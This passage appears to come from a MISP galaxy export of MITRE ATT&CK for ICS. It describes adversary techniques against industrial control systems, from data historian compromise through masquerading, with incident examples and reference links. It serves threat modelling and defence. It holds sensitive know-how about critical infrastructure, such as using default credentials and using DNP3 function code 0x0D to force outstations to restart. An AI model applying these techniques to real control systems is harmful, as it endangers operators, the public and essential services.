http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm
http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Data Historian Compromise

Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution.1 The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include refs to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be expected to have extensive connections within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks.

The tag is: *misp-galaxy:mitre-ics-techniques="Data Historian Compromise"*

Table 10642. Table References

Links
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf

Data from Information Repositories

Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment.

The tag is: *misp-galaxy:mitre-ics-techniques="Data from Information Repositories"*

Table 10643. Table References

Links
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf
https://www.symantec.com/security-center/writeup/2012-052811-0308-99

Default Credentials

Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled.

The tag is: *misp-galaxy:mitre-ics-techniques="Default Credentials"*

Table 10644. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Denial of Control

Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of Control"*

Table 10645. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

Denial of Service

Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. In the Maroochy attack, the adversary was able to shut an investigator out of the network.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of Service"*

Table 10646. Table References

Links
https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A
https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01
http://cwe.mitre.org/data/definitions/400.html
https://nvd.nist.gov/vuln/detail/CVE-2015-5374
https://www.mitre.org/sites/default/files/pdf/08_1145.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf

https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf

Denial of View

Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Denial of View"*

Table 10647. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false

Detect Operating Mode

Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Operating Mode"*

Table 10648. Table References

Links
Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py.[Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py.]

Detect Program State

Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program.

The tag is: *misp-galaxy:mitre-ics-techniques="Detect Program State"*

Table 10649. Table References

Links
https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library

Device Restart/Shutdown

Adversaries may forcibly restart or shutdown a device in the ICS environment to disrupt and potentially cause adverse effects on the physical processes it helps to control. Methods of device restart and shutdown exist as built-in, standard functionalities. This can include interactive device web interfaces, CLIs, and network protocol commands, among others. Device restart or shutdown may also occur as a consequence of changing a device into an alternative mode of operation for testing or firmware loading. Unexpected restart or shutdown of control system devices may contribute to impact, by preventing expected response functions from activating and being received in critical states. This can also be a sign of malicious device modification, as many updates require a shutdown in order to take affect. For example, DNP3's function code 0x0D can reset and reconfigure DNP3 outstations by forcing them to perform a complete power cycle. In the 2015 attack on the Ukranian power grid, the adversaries gained access to the control networks of three different energy companies. The adversaries scheduled disconnects for the uniterruptable power supply (UPS) systems so that when power was disconnected from the substations, the devices would shut down and service could not be recovered.

The tag is: *misp-galaxy:mitre-ics-techniques="Device Restart/Shutdown"*

Table 10650. Table References

Links
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Drive-by Compromise

Adversaries may gain access to a system during a drive-by compromise, when a user visits a website as part of a regular browsing session.With this technique, the user's web browser is targeted and exploited simply by visiting the compromised website. The adversary may target a specific community, such as trusted third party suppliers or other industry specific groups, which

often visit the target website. This kind of targeted attack relies on a common interest, and is known as a strategic web compromise or watering hole attack. The National Cyber Awareness System (NCAS) has issued a Technical Alert (TA) regarding Russian government cyber activity targeting critical infrastructure sectors. Analysis by DHS and FBI has noted two distinct categories of victims in the Dragonfly campaign on the Western energy sector: staging and intended targets. The adversary targeted the less secure networks of staging targets, including trusted third-party suppliers and related peripheral organizations. Initial access to the intended targets used watering hole attacks to target process control, ICS, and critical infrastructure related trade publications and informational websites.

The tag is: *misp-galaxy:mitre-ics-techniques="Drive-by Compromise"*

Table 10651. Table References

Links
https://www.us-cert.gov/ncas/alerts/TA18-074A
https://www.securityweek.com/allanite-group-targets-ics-networks-electric-utilities-us-uk
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group
https://www.us-cert.gov/ncas/alerts/TA17-293A
https://www.cyberviser.com/2018/05/group-linked-to-shamoon-attacks-targeting-ics-networks-in-middle-east-and-uk/
https://www.cyberscoop.com/xenotime-ics-cyber-attacks-trisis-dragos/
https://securelist.com/bad-rabbit-ransomware/82851/

Engineering Workstation Compromise

Adversaries may compromise and gain control of an engineering workstation as an Initial Access technique into the control system environment. Access to an engineering workstation may occur as a result of remote access or by physical means, such as a person with privileged access or infection by removable media. A dual-homed engineering workstation may allow the adversary access into multiple networks. For example, unsegregated process control, safety system, or information system networks. An Engineering Workstation is designed as a reliable computing platform that configures, maintains, and diagnoses control system equipment and applications. Compromise of an engineering workstation may provide access to and control of other control system applications and equipment. In the Maroochy attack, the adversary utilized a computer, possibly stolen, with proprietary engineering software to communicate with a wastewater system.

The tag is: *misp-galaxy:mitre-ics-techniques="Engineering Workstation Compromise"*

Table 10652. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Execution through API

Adversaries may attempt to leverage Application Program Interfaces (APIs) used for communication between control software and the hardware. Specific functionality is often coded into APIs which can be called by software to engage specific functions on a device or other software, such as Change Program State of a program on a PLC.

The tag is: *misp-galaxy:mitre-ics-techniques="Execution through API"*

Table 10653. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Exploit Public-Facing Application

Adversaries may attempt to exploit public-facing applications to leverage weaknesses on Internet-facing computer systems, programs, or assets in order to cause unintended or unexpected behavior. These public-facing applications may include user interfaces, software, data, or commands. In particular, a public-facing application in the IT environment may provide adversaries an interface into the OT environment. ICS-CERT analysis has identified the probable initial infection vector for systems running GE's Cimplicity HMI with a direct connection to the Internet.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploit Public-Facing Application"*

Table 10654. Table References

Links
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B

Exploitation for Evasion

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to evade detection. Vulnerabilities may exist in software that can be used to disable or circumvent security features. Adversaries may have prior knowledge through Control Device Identification about security features implemented on control devices. These device security features will likely be targeted directly for exploitation. There are examples of firmware RAM/ROM consistency checks on control devices being targeted by adversaries to enable the installation of malicious System Firmware.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploitation for Evasion"*

Table 10655. Table References

Links
https://ics-cert.us-cert.gov/sites/default/files/documents/MAR-17-352-01%20HatMan%20-%20Safety%20System%20Targeted%20Malware%20%28Update%20B%29.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-18-107-02
https://www.youtube.com/watch?v=f09E75bWvkk&index=3&list=PL8OWO1qWXF4qYG19p7An4Vw3N2YZ86aRS&t=0s
https://nvd.nist.gov/vuln/detail/CVE-2018-8872
https://cwe.mitre.org/data/definitions/119.html
https://www.nrc.gov/docs/ML1209/ML120900890.pdf

Exploitation of Remote Services

Adversaries may exploit a software vulnerability to take advantage of a programming error in a program, service, or within the operating system software or kernel itself to enable remote service abuse. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system. ICS asset owners and operators have been affected by ransomware (or disruptive malware masquerading as ransomware) migrating from enterprise IT to ICS environments: WannaCry, NotPetya, and BadRabbit. In each of these cases, self-propagating (“wormable”) malware initially infected IT networks, but through exploit (particularly the SMBv1-targeting MS17-010 vulnerability) spread to industrial networks, producing significant impacts.

The tag is: *misp-galaxy:mitre-ics-techniques="Exploitation of Remote Services"*

Table 10656. Table References

Links
https://attack.mitre.org/techniques/T1210/
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/

External Remote Services

Adversaries may leverage external remote services as a point of initial access into your network. These services allow users to connect to internal network resources from external locations. Examples are VPNs, Citrix, and other access mechanisms. Remote service gateways often manage connections and credential authentication for these services. External remote services allow administration of a control system from outside the system. Often, vendors and internal engineering groups have access to external remote services to control system networks via the corporate network. In some cases, this access is enabled directly from the internet. While remote access enables ease of maintenance when a control system is in a remote area, compromise of remote access solutions is a liability. The adversary may use these services to gain access to and execute attacks against a control system network. Access to valid accounts is often a requirement. As they look for an entry point into the control system network, adversaries may begin searching for existing point?to?point VPN implementations at trusted third party networks or through remote support employee connections where split tunneling is enabled. In the Maroochy Attack, the

adversary was able to gain remote computer access to the system over radio. The 2015 attack on the Ukranian power grid showed the use of existing remote access tools within the environment to access the control system network. The adversary harvested worker credentials, some of them for VPNs the grid workers used to remotely log into the control system networks.3245 The VPNs into these networks appear to have lacked two?factor authentication.

The tag is: *misp-galaxy:mitre-ics-techniques="External Remote Services"*

Table 10657. Table References

Links
https://attack.mitre.org/wiki/Technique/T1133
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01
https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html
https://dragos.com/blog/trisis/TRISIS-01.pdf
https://dragos.com/blog/industry-news/implications-of-it-ransomware-for-ics-environments/
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Graphical User Interface

Adversaries may attempt to gain access to a machine via a Graphical User Interface (GUI) to enhance execution capabilities. Access to a GUI allows a user to interact with a computer in a more visual manner than a CLI. A GUI allows users to move a cursor and click on interface objects, with a mouse and keyboard as the main input devices, as opposed to just using the keyboard. If physical access is not an option, then access might be possible via protocols such as VNC on Linux-based and Unix-based operating systems, and RDP on Windows operating systems. An adversary can use this access to execute programs and applications on the target machine. In the 2015 attack on the Ukrainian power grid, the adversary utilized the GUI of HMIs in the SCADA environment to open breakers.

The tag is: *misp-galaxy:mitre-ics-techniques="Graphical User Interface"*

Table 10658. Table References

Links
https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html
https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm

http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx
https://technet.microsoft.com/en-us/library/ee791851.aspx

Hooking

Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for persistent means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. One type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process's IAT, where pointers to imported API functions are stored.

The tag is: *misp-galaxy:mitre-ics-techniques="Hooking"*

Table 10659. Table References

Links
https://attack.mitre.org/techniques/T1179/
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

I/O Image

Adversaries may seek to capture process image values related to the inputs and outputs of a PLC. Within a PLC all input and output states are stored into an I/O image. This image is used by the user program instead of directly interacting with physical I/O.

The tag is: *misp-galaxy:mitre-ics-techniques="I/O Image"*

Table 10660. Table References

Links
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

I/O Module Discovery

Adversaries may use input/output (I/O) module discovery to gather key information about a control system device. An I/O module is a device that allows the control system device to either receive or send signals to other devices. These signals can be analog or digital, and may support a number of different protocols. Devices are often able to use attachable I/O modules to increase the number of inputs and outputs that it can utilize. An adversary with access to a device can use native device functions to enumerate I/O modules that are connected to the device. Information regarding the I/O modules can aid the adversary in understanding related control processes.

The tag is: *misp-galaxy:mitre-ics-techniques="I/O Module Discovery"*

Table 10661. Table References

Links
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Indicator Removal on Host

Adversaries may attempt to remove indicators of their presence on a system in an effort to cover their tracks. In cases where an adversary may feel detection is imminent, they may try to overwrite, delete, or cover up changes they have made to the device.

The tag is: *misp-galaxy:mitre-ics-techniques="Indicator Removal on Host"*

Table 10662. Table References

Links
https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/
https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware

Internet Accessible Device

Adversaries may gain access into industrial environments directly through systems exposed to the internet for remote access rather than through External Remote Services. Minimal protections provided by these devices such as password authentication may be targeted and compromised. In the case of the Bowman dam incident, adversaries leveraged access to the dam control network through a cellular modem. Access to the device was protected by password authentication, although the application was vulnerable to brute forcing.

The tag is: *misp-galaxy:mitre-ics-techniques="Internet Accessible Device"*

Table 10663. Table References

Links
https://www.us-cert.gov/sites/default/files/Monitors/ICS-CERT_Monitor_Jan-April2014.pdf
https://www.wsj.com/articles/iranian-hackers-infiltrated-new-york-dam-in-2013-1450662559
https://time.com/4270728/iran-cyber-attack-dam-fbi/
https://www.us-cert.gov/ics/alerts/ICS-ALERT-14-281-01B
https://www.us-cert.gov/ics/advisories/ICSA-11-094-02B

Location Identification

Adversaries may perform location identification using device data to inform operations and targeted impact for attacks. Location identification data can come in a number of forms, including

geographic location, location relative to other control system devices, time zone, and current time. An adversary may use an embedded global positioning system (GPS) module in a device to figure out the physical coordinates of a device. NIST SP800-82 recommends that devices utilize GPS or another location determining mechanism to attach appropriate timestamps to log entries1. While this assists in logging and event tracking, an adversary could use the underlying positioning mechanism to determine the general location of a device. An adversary can also infer the physical location of serially connected devices by using serial connection enumeration. An adversary attempt to attack and cause Impact could potentially affect other control system devices in close proximity. Device local-time and time-zone settings can also provide adversaries a rough indicator of device location, when specific geographic identifiers cannot be determined from the system.

The tag is: *misp-galaxy:mitre-ics-techniques="Location Identification"*

Table 10664. Table References

Links
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf
https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01
https://www.f-secure.com/weblog/archives/00002718.html

Loss of Availability

Adversaries may attempt to disrupt essential components or systems to prevent owner and operator from delivering products or services. Adversaries may leverage malware to delete or encrypt critical data on HMIs, workstations, or databases.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Availability"*

Table 10665. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml

Loss of Control

Adversaries may seek to achieve a sustained loss of control or a runaway condition in which operators cannot issue any commands even if the malicious interference has subsided.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Control"*

Table 10666. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/

Loss of Productivity and Revenue

Adversaries may cause loss of productivity and revenue through disruption and even damage to the availability and integrity of control system operations, devices, and related processes. This technique may manifest as a direct effect of an ICS-targeting attack or tangentially, due to an IT-targeting attack against non-segregated environments. In some cases, this may result from the postponement and disruption of ICS operations and production as part of a remediation effort. Operations may be brought to a halt and effectively stopped in an effort to contain and properly remove malware or due to the Loss of Safety.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Productivity and Revenue"*

Table 10667. Table References

Links
https://www.welivesecurity.com/2017/10/24/bad-rabbit-not-petya-back/
https://news.softpedia.com/news/on-chernobyl-s-30th-anniversary-malware-shuts-down-german-nuclear-power-plant-503429.shtml
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/
https://www.bloomberg.com/news/features/2019-12-03/merck-cyberattack-s-1-3-billion-question-was-it-an-act-of-war
https://www.darkreading.com/attacks-breaches/how-a-manufacturing-firm-recovered-from-a-devastating-ransomware-attack/d/d-id/1334760

Loss of Safety

Adversaries may cause loss of safety whether on purpose or as a consequence of actions taken to accomplish an operation. The loss of safety can describe a physical impact and threat, or the potential for unsafe conditions and activity in terms of control systems environments, devices, or processes. For instance, an adversary may issue commands or influence and possibly inhibit safety mechanisms that allow the injury of and possible loss of life. This can also encompass scenarios resulting in the failure of a safety mechanism or control, that may lead to unsafe and dangerous execution and outcomes of physical processes and related systems. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill in its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact resulted in damage and unsafe conditions from the uncontrolled shutdown of a blast furnace. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.567 Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops. The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of Safety"*

Table 10668. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?blob=publicationFile&v=3
https://www.londonreconnections.com/2017/hacked-cyber-security-railways/
https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/
https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html
https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Loss of View

Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.

The tag is: *misp-galaxy:mitre-ics-techniques="Loss of View"*

Table 10669. Table References

Links
https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf
https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297
https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf
https://doublepulsar.com/how-lockergoga-took-down-hydro-ransomware-used-in-targeted-attacks-aimed-at-big-business-c666551f5880
https://www.hydro.com/en/media/on-the-agenda/cyber-attack/

Man in the Middle

Adversaries with privileged network access may seek to modify network traffic in real time using man-in-the-middle (MITM) attacks. This type of attack allows the adversary to intercept traffic to and/or from a particular device on the network. If a MITM attack is established, then the adversary has the ability to block, log, modify, or inject traffic into the communication stream. There are several ways to accomplish this attack, but some of the most-common are Address Resolution Protocol (ARP) poisoning and the use of a proxy. A MITM attack may allow an adversary to perform the following attacks: Block Reporting Message, Modify Parameter, Unauthorized Command Message, Spoof Reporting Message

The tag is: *misp-galaxy:mitre-ics-techniques="Man in the Middle"*

Table 10670. Table References

Links
https://www.sans.org/reading-room/whitepapers/ICS/man-in-the-middle-attack-modbus-tcp-illustrated-wireshark-38095
http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258

https://dragos.com/resource/hexane/
https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf

Manipulate I/O Image

Adversaries may manipulate the I/O image of PLCs through various means to prevent them from functioning as expected. Methods of I/O image manipulation may include overriding the I/O table via direct memory manipulation or using the override function used for testing PLC programs. During the PLC scan cycle, the state of the actual physical inputs is copied to a portion of the PLC memory, commonly called the input image table. When the program is scanned, it examines the input image table to read the state of a physical input. When the logic determines the state of a physical output, it writes to a portion of the PLC memory commonly called the output image table. The output image may also be examined during the program scan. To update the physical outputs, the output image table contents are copied to the physical outputs after the program is scanned. One of the unique characteristics of PLCs is their ability to override the status of a physical discrete input or to override the logic driving a physical output coil and force the output to a desired status.

The tag is: *misp-galaxy:mitre-ics-techniques="Manipulate I/O Image"*

Table 10671. Table References

Links
https://www.isa.org/standards-and-publications/isa-publications/intech/2010/december/programmable-logic-controller-hardware/
https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf

Manipulation of Control

Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection. Methods of Manipulation of Control include: Man-in-the-middle, Spoof command message, Changing setpoints

The tag is: *misp-galaxy:mitre-ics-techniques="Manipulation of Control"*

Table 10672. Table References

Links

Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.[Stuxnet can reprogram a PLC and change critical parameters in such a way that legitimate commands can be overridden or intercepted. In addition, Stuxnet can apply inappropriate command sequences or parameters to cause damage to property.]

Masquerading

Adversaries may use masquerading to disguise a malicious application or executable as another file, to avoid operator and engineer suspicion. Possible disguises of these masquerading files can include commonly found programs, expected vendor executables and configuration files, and other commonplace application and naming conventions. By impersonating expected and vendor-relevant files and applications, operators and engineers may not notice the presence of the underlying malicious content and possibly end up running those masquerading as legitimate functions. Applications and other files commonly found on Windows systems or in engineering workstations have been impersonated before. This can be as simple as renaming a file to effectively disguise it in the ICS environment.

The tag is: *misp-galaxy:mitre-ics-techniques="Masquerading"*

Table 10673. Table References

Links
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf
https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html

Modify Alarm Settings

